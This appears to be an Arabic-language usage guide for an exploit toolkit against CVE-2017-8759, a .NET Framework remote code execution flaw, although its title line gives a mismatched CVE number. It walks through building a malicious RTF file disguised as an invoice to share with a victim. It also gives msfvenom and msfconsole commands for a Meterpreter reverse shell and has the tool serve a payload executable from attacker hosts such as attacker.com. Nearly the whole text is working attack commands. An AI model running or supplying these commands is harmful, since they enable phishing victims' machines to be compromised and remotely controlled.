cve-2017-8760

- إنشاء ملف RTF ضار
- وضع الاستغلال للملف RTF الذي تم إنشاؤه

1) إنشاء ملف RTF ضار
   # python cve-2017-8759_toolkit.py -M gen -w Invoice.rtf -u http://192.168.56.1/logo.txt
2) (اختياري، إذا كنت تستخدم حمولة MSF): إنشاء حمولة metasploit وبدء المعالج
   # msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe > /tmp/shell.exe
   # msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.56.1; run"
3) تشغيل الأداة في وضع الاستغلال لتوصيل الحمولة المحلية
   # python cve-2017-8759_toolkit.py -M exp -e http://192.168.56.1/shell.exe -l /tmp/shell.exe

# python cve-2017-8759_toolkit.py -h

هذه أداة مفيدة لاستغلال CVE-2017-8759 (ثغرة تنفيذ الأوامر عن بُعد في إطار عمل مايكروسوفت .NET)

الأوضاع:

-M gen                                          إنشاء ملف ضار فقط

     إنشاء ملف RTF ضار:

      -w <Filename.rtf>                   اسم ملف RTF الضار (شارك هذا الملف مع الضحية).

      -u <http://attacker.com/test.txt>   مسار ملف txt عن بُعد. عادةً، يجب أن يكون هذا نطاقاً أو عنوان IP حيث تعمل هذه الأداة.
                                          على سبيل المثال، http://attackerip.com/test.txt (سيتم تضمين عنوان URL هذا في ملف RTF الضار وسيتم طلبه بمجرد أن يفتح الضحية ملف RTF الضار.

				      
-M exp                                          بدء وضع الاستغلال

     الاستغلال:
  
      -p <TCP port:Default 80>            رقم المنفذ المحلي.

      -e <http://attacker.com/shell.exe>  مسار ملف قابل للتنفيذ / شل meterpreter / حمولة يجب تنفيذها على الهدف.

      -l </tmp/shell.exe>                 حدد المسار المحلي لملف قابل للتنفيذ / شل meterpreter / حمولة.